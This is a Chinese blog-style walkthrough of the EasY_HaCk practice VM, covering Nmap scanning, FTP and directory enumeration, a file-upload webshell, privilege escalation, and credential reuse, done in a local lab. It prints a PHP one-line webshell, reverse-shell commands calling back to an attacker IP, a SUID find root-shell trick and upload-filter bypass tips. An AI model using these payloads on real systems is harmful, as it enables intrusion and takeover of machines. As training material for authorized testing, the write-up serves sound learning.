☰
EasY_HaCk靶机实战:从Nmap信息收集到权限提升的完整渗透链
2026/10/21 16:20:38 网站建设 项目流程

EasY_HaCk这个名字,玩过渗透靶场的人多少都听过。它不像HTB里那些动辄考逆向、考堆利用的高阶机器,反倒更像一个精心设计的“毕业设计”——把Web渗透、服务枚举、权限提升、信息收集这些基本功串成一条完整的攻击链。前阵子我在本地虚拟机里完整跑了一遍这个靶机,从Nmap扫描到拿到root权限,整个过程值得复盘的地方不少,尤其适合正在备战渗透测试认证或者刚入行想找真实手感的朋友参考。

动手之前先说明一点:整个测试过程完全在本地虚拟化环境中进行,靶机来源是公开的训练镜像,所有操作都属于授权范围内的安全测试。这套思路放到真实业务环境里,一定要先拿到书面授权,没授权那就是违法,这条红线永远不能碰。

1. 靶场认识与测试前准备

1.1 EasY_HaCk到底在练什么

EasY_HaCk这个靶机从命名就能看出定位:刻意做“简单”的渗透测试练习环境。它的价值不在于某个漏洞利用有多精巧,而在于步骤非常典型,几乎就是标准渗透测试流程的教科书示范。

练这个靶机你能收获什么,我总结成三点:第一,完整经历一次从零开始的黑盒测试过程,体会“信息收集决定后续走向”这句话的真实含义;第二,把工具链跑通——Nmap扫描、目录枚举、漏洞利用、Shell交互、权限提升,每个环节对应什么工具、看什么输出、怎么判断下一步,全流程走一遍就有肌肉记忆了;第三,训练“根据输出做决策”的能力,真正的渗透测试没有向导,全靠你从回显里发现蛛丝马迹。

对新手来说,这个靶机还有一层隐藏价值:它的漏洞设计思路和真实环境中的常见配置错误高度一致。比如管理员图省事设置的弱口令、忘记删除的备份文件、权限过大的可执行程序——这些在真实红队项目中太常见了,练好了直接迁移到实际工作中。

1.2 环境搭建与工具配置

我测试用的攻击机是Kali Linux,虚拟机网络模式选的NAT,靶机也放在同一个虚拟网络里。选NAT而不是桥接的原因很简单:宿主机、攻击机、靶机之间能互通,但靶机不会直接暴露在物理局域网里,减少误连真实设备的概率。

工具准备按照渗透流程分几个层次:

  • 信息收集层:Nmap(端口扫描)、Gobuster或ffuf(目录枚举)、WhatWeb(指纹识别)
  • Web分析层:Burp Suite(抓包改包)、sqlmap(自动化SQL注入检测,但手工判断更重要)
  • 漏洞利用层:Metasploit Framework(辅助)、nc(反弹Shell)、写Python小脚本
  • 权限提升层:LinEnum、LinPEAS(自动化枚举)、pspy(进程监控)

还有一类工具很多人会忽略:记录工具。我习惯按时间戳维护一份笔记文件,跑了什么命令、看到什么关键输出、产生了什么猜测,全部记录下来。渗透测试到后期思路容易乱,笔记就是你的外置大脑。特别是拿到第一个Shell之后,局势会突然变得混乱,尤其考验临场组织能力。

注意:Kali虚拟机建议放到8GB内存以上,不要吝啬资源。开Burp的同时跑Nmap、Gobuster、浏览器,内存小了攻击机自己先卡死,很影响节奏。

2. 第一步:信息收集与服务侦察

2.1 Nmap全端口与版本扫描

拿到靶机IP之后,第一件事永远是端口扫描。很多人习惯只扫常见端口,或者用默认的nmap <IP>跑一遍就完事,这不够。我通常先做一次全端口TCP扫描,再去针对开放端口做版本探测。

# 先快速全端口扫描 nmap -sS -p- --min-rate 1000 192.168.4.128 # 对开放端口做版本和服务识别 nmap -sV -sC -p 22,80,8080 192.168.4.128

EasY_HaCk扫出来的结果非常典型:22端口SSH、80端口HTTP,如果再放大范围,可能还有一个管理后台类的端口。看到这个结果,思路基本就清晰了——Web端是主战场,SSH是后续可能的横向入口或提权入口。

-sC这个参数很多人不重视,它其实是把Nmap内置的默认脚本跑了一遍,包括HTTP标题抓取、常见漏洞探测、SSH算法协商等等。一次-sC得到的信息量抵得上手动排查半天。比如这次扫描直接带出了HTTP服务的主页标题和服务器中间件信息,省了不少事。

端口扫描阶段要记录的信息包括:端口号、服务版本、操作系统指纹、页面标题、重定向行为。这些细节在后续利用阶段会反复用到。

2.2 Web与FTP服务的初步探测

拿到端口信息,接下来对Web服务做一次“肉眼观察”。打开浏览器访问首页,右键查看源代码,同时打开Burp代理记录所有请求响应。

很多信息伪装在你看不见的地方:注释里可能藏着开发人员的账号名,响应头里可能泄露中间件的具体版本,Cookie的Set-Cookie字段能暴露后端语言框架。EasY_HaCk的首页看起来就是一个普通的企业展示站,但源码里往往会有开发者的注释信息或者预留的调试接口。这种“低垂果实”是经验不足的人最容易错过的。

如果靶机环境里开了FTP服务(我测试时确实遇到了),记得试试匿名登录:

ftp 192.168.4.128 # 用户名输入 anonymous,密码留空或输入任意邮箱格式

匿名FTP在真实环境里越来越少见,但靶机里依然是经典保留项目。一旦登录成功,翻目录、下载文件、寻找可写目录,一条完整的攻击路径可能就藏在里面。我这次就通过FTP下载到了两个关键文件,一个是网站目录结构的压缩备份,另一个是数据库的初始化脚本,里面有硬编码的账号密码,这为后续Web渗透省了不少力气。

Web指纹识别这一步,可以用WhatWeb或者浏览器插件快速完成,也可以用curl -I直接看响应头:

curl -I http://192.168.4.128

响应头里的Server字段、X-Powered-By字段,基本能把后端技术栈锁定个八九不离十。EasY_HaCk这台靶机走的是经典的LAMP路线,Linux + Apache + MySQL + PHP,意味着后续目录枚举和Web漏洞测试可以优先考虑PHP方向的攻击面。

3. 第二步:Web渗透与漏洞利用

3.1 目录爆破与隐藏接口发现

首页看起来平平无奇,真正的入口藏在你看不到的路径里。目录枚举是Web渗透从“看见”走向“发现”的关键一步。

gobuster dir -u http://192.168.4.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,zip -t 50

加-x参数做扩展名枚举很有必要。很多人枚举完就结束,但实际环境中config.php.bak、flag.zip、index.php~这类备份文件往往才是突破口。EasY_HaCk的字典里,我用medium词表加常见扩展名扫到了两个有意思的目录:一个/admin的管理入口,一个/backup目录,里面躺着zip打包的网站源码备份。

扫到备份文件之后,下载、解压、和当前网站做对比,这一套动作的价值在于:你能拿到完整源码,进行白盒审计。源码里能挖到的东西比黑盒测试多太多了——数据库连接信息、隐藏的API接口、后台的认证逻辑漏洞。

另外一个细节:扫描时控制线程数。-t 50就够了,再高了目标服务器容易拒绝连接,扫出来的结果反而不可信。遇到返回码全是403或者429,先停下来检查是WAF拦截了还是自己请求太暴力。

3.2 找漏洞点并拿到第一个Shell

拿到源码备份后,我在config.php里找到了数据库的账号密码,然后尝试用它对后台管理入口做登录测试。手工测了几个弱口令没成功,这时候把请求包丢给Burp的Intruder模块,配上常用弱口令字典,稍等片刻就出来了后台口令。

进入后台之后,漏洞利用的思路要马上切换。管理后台通常有文件上传、命令执行、数据备份恢复这些功能,每一个都可能变成WebShell的入口。EasY_HaCk的后台允许上传附件,且没有校验文件扩展名,我直接传了一个PHP一句话木马。

这里不建议直接上各种加密混淆的大马,目的只是验证能不能执行命令。先传一个最小的payload:

<?php system($_GET['cmd']); ?>

然后访问上传后的文件路径,带上?cmd=id参数,看到www-data用户输出,说明命令执行已经打通。从上传到执行这个过程要记录关键信息:上传路径的规律、文件名的变化、执行回显的方式——这些信息在拿到Shell之后还要用来稳定连接。

WebShell的维持要考虑目标环境的限制。如果目标PHP禁用了system函数,就换exec、shell_exec、passthru挨个试;如果做了上传目录的解析限制,就尝试配合.htaccess或者后缀名.php5绕过。EasY_HaCk没有这些反制措施,但对真实环境的预期不能这么乐观。

3.3 反弹Shell的建立与交互优化

WebShell只能通过HTTP请求执行命令,交互体验差而且命令容易带特殊字符被转义。更舒服的方式是反弹一个完整的Shell回来。

攻击机监听:

nc -lvnp 4444

WebShell里执行:

?cmd=nc -e /bin/bash 192.168.4.129 4444

如果目标上没有nc,用/bin/bash原生反弹:

?cmd=/bin/bash -i >& /dev/tcp/192.168.4.129/4444 0>&1

拿到反弹Shell之后的第一件事,是升级成带完整TTY的交互式Shell。默认的反弹Shell有很多限制:没有Tab补全、没有历史命令、不能用vim、不能用su。升级方法有现成的套路:

python3 -c 'import pty; pty.spawn("/bin/bash")' # 然后 Ctrl+Z 挂起当前任务 stty raw -echo; fg export TERM=xterm

这套操作做完之后,Shell表现和SSH终端基本一致,后续操作就顺手多了。这个细节很多人不知道,直接导致在裸Shell里艰难地敲命令,效率低还容易出错。

注意:反弹Shell的连接不稳定是常态,遇到断连不要慌。建议用tmux先开一个会话窗口专门跑监听,即使SSH断了,监听进程不会断。命令执行的回显偶尔会慢半拍,等待时要观察是否有输出堆积,别一次塞太多命令。

4. 第三步:权限提升与横向渗透

4.1 系统信息收集与SUID提权

拿到www-data权限的Shell,渗透测试才走了一半。Web服务的权限通常受限,距离root权限还差一次提权。这个阶段最忌讳漫无目的地翻目录,应该按优先级做系统枚举。

我给自己定了一个“30秒快查”的流程:

id uname -a cat /etc/os-release sudo -l find / -perm -4000 -type f 2>/dev/null

uname -a看内核版本,sudo -l看当前用户有没有可执行的sudo命令,find扫SUID文件。EasY_HaCk里最有价值的发现就是某个系统自带的二进制程序带了SUID位,运行它的用户会被强制赋予root权限。

SUID提权的核心在于:如果你能控制这个程序的行为,你就能以root身份执行代码。比如某些版本的find带SUID,那么find . -exec /bin/sh -p \;直接就能起一个root Shell;vim带SUID,那么:!sh也能脱胎换骨。查看系统已经安装的二进制是否在GTFOBins列表里,是判断SUID提权可行性的最快路径。

在EasY_HaCk上,我遇到的是一个比较经典的SUID程序,通过它执行预设命令拿到root权限。整个过程值得记录的关键点是:不要一上来就复制网上的exp,先完整执行一次/usr/bin/<suid程序> --help了解它支持哪些参数,再对照GTFOBins找利用方式,这样动手的时候思路才清晰。

4.2 数据库、配置文件与密钥复用

除了SUID,还有一条收益很高的提权路径:凭据复用。很多靶机和真实系统都有这个毛病——Web配置文件的数据库密码,和管理员的系统密码是同一个。你翻到的每一个明文密码都有可能打开新的大门。

拿到初始Shell之后,我处理配置文件的优先级是:网站根目录下的.env文件、config.php、wp-config.php、database.yml之类,都是密码富矿。数据库连接以后,除了读业务数据,务必要看mysql.user表,里面可能有其他账号的密码哈希。

另外,千万别忽略当前用户目录下的隐藏文件。.bash_history、.ssh/目录、.mysql_history,每一个都值得翻。Shell历史命令能还原管理员日常操作轨迹,甚至直接暴露他用过的密码;.ssh/id_rsa如果权限设置不当,直接复制下来就能SSH登录。

在EasY_HaCk里,数据库配置文件中记录的密码正好和一个普通系统用户的登录密码一致。利用这个发现完成SSH登录,账户权限从www-data升级到了user。这一步看着简单,但现实中太常见了,开发为了图省事把同一个密码用在所有地方,结果就是安全性取决于最薄弱的那一环。

拿到用户权限后,我再回头看SUID的发现,用user身份重新检查了一遍SUID文件列表,确认那个存在问题的SUID程序也可以由当前用户触发,于是提权路径完整打通。

4.3 提权过程中的稳定性维护

提权过程中Shell断连、权限丢失、目标系统报警根本没机会处理。这些情况我在实战里遇到不止一次,总结几条经验:第一,所有提权测试前先备份当前状态,至少记录自己在哪个目录、以什么身份执行了什么命令;第二,提权用的命令逐条执行,不要连写多条,避免某一条失败了影响后续判断;第三,优先使用目标系统自带的工具,不要急着上传二进制文件,上传文件除了可能被杀软查杀,还可能留下明显痕迹。

用SUID程序提权成功的那一刻,id输出从uid=1000变成uid=0,渗透测试的主线就基本结束了。后续还有收尾工作:把各个阶段获取的flag记录下来、整理攻击路径、清除自己留下的工具文件。靶机环境下可以不用太在意痕迹清理,但在真实红队项目中,把工具文件、临时脚本、历史命令清理干净,是对客户负责也是对自己负责。

5. 实战心得与常见问题排查

5.1 攻击链的三个关键决策点

回顾整个EasY_HaCk的攻击过程,有三次决策直接决定了最终能否成功:

第一次是在Nmap结果出来后,选择先翻FTP而不是直接上目录扫描。如果当时一头扎进Web目录爆破,FTP里的源码备份和数据库脚本可能要晚很久才暴露,整个攻击路径会完全不同。信息收集阶段的广度,决定后面所有阶段的选项空间,这句真不是空话。

第二次是在拿到源码备份之后,没有花大量时间去读所有代码,而是优先翻配置文件找凭据,然后按“凭据→后台→上传→执行”这条最短路径走。读代码适合做全面审计,但在一次渗透测试中,最短路径优先是效率最高的策略。

第三次是提权阶段没有卡在内核漏洞上。看到uname -a输出的是新版内核,我第一时间放弃了内核提权的思路,转而检查SUID文件和配置文件。做渗透测试最怕的就是“路径依赖”,看到Linux就想打脏牛,看到Windows就猜永恒之蓝,这种思维在现在的主流系统上基本行不通,按系统的实际配置找突破口才靠谱。

5.2 这台靶机最常见的三个坑

第一个坑:扫描阶段不记录输出。很多人跑完Nmap关掉终端就完事,后面找数据又要重扫一遍。我的做法是每次扫描结果都保存到文件里,nmap -oN、gobuster -o,这一步花不了一秒钟,后面能省大量重复劳动。

第二个坑:拿到WebShell就得意忘形。WebShell权限非常有限,而且在目标机器上直接敲命令容易留下大量日志记录。建议第一时间反弹Shell到本地,所有后续操作在本地终端完成,这样即使WebShell被管理员发现并删除,你的连接可能还保持着。

第三个坑:提权过程中不做记录。很多人拿到root权限后,回头写报告时发现中间步骤已经记不清了。我习惯每完成一个阶段,就在笔记里更新一条攻击路径概要,最后整理报告时直接复制粘贴再补充细节,效率高得多。

5.3 靶场练习的进阶建议

EasY_HaCk做完了,只是走出了第一步。同类的入门靶机还有很多,练习时建议按难度梯度循序渐进:先做单一漏洞类型的靶机(SQL注入、XSS、命令注入各练一台),再做这种多条攻击链组合的靶机,最后尝试带防护环境的靶场(有WAF、有EDR)。这样一步步来,知识体系和实战手感是同步成长的。

练靶机的一个重要误区是只追求“打通了就行”。每次完成一个靶机,都应该做一次复盘:这条攻击路径还有没有替代方案?某个环节如果被目标环境封堵,备选路径是什么?把这个“如果”想明白了,才是真正吃透了一台靶机。

我个人的建议是,把每个靶机的攻击路径整理成一张思维导图或者流程图,挂在电脑旁边,时间久了你会发现自己能形成一套自动化的攻击决策链。到真实项目中,看到开放的端口、看到Web中间件、看到配置文件模板,大脑会直接调出对应场景的最佳路径,那才是经验和能力的真正体现。

EasY_HaCk算是我见过最适合“入门毕业检验”的靶机之一。按这篇文章的流程完整走一遍,配合笔记记录和复盘思考,你对渗透测试的整个方法论会有实打实的体感。等这台打通了,再去挑战那些更复杂的靶机,你会发现之前的所有练习都不会白费,每一步都在给后面的路搭桥。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询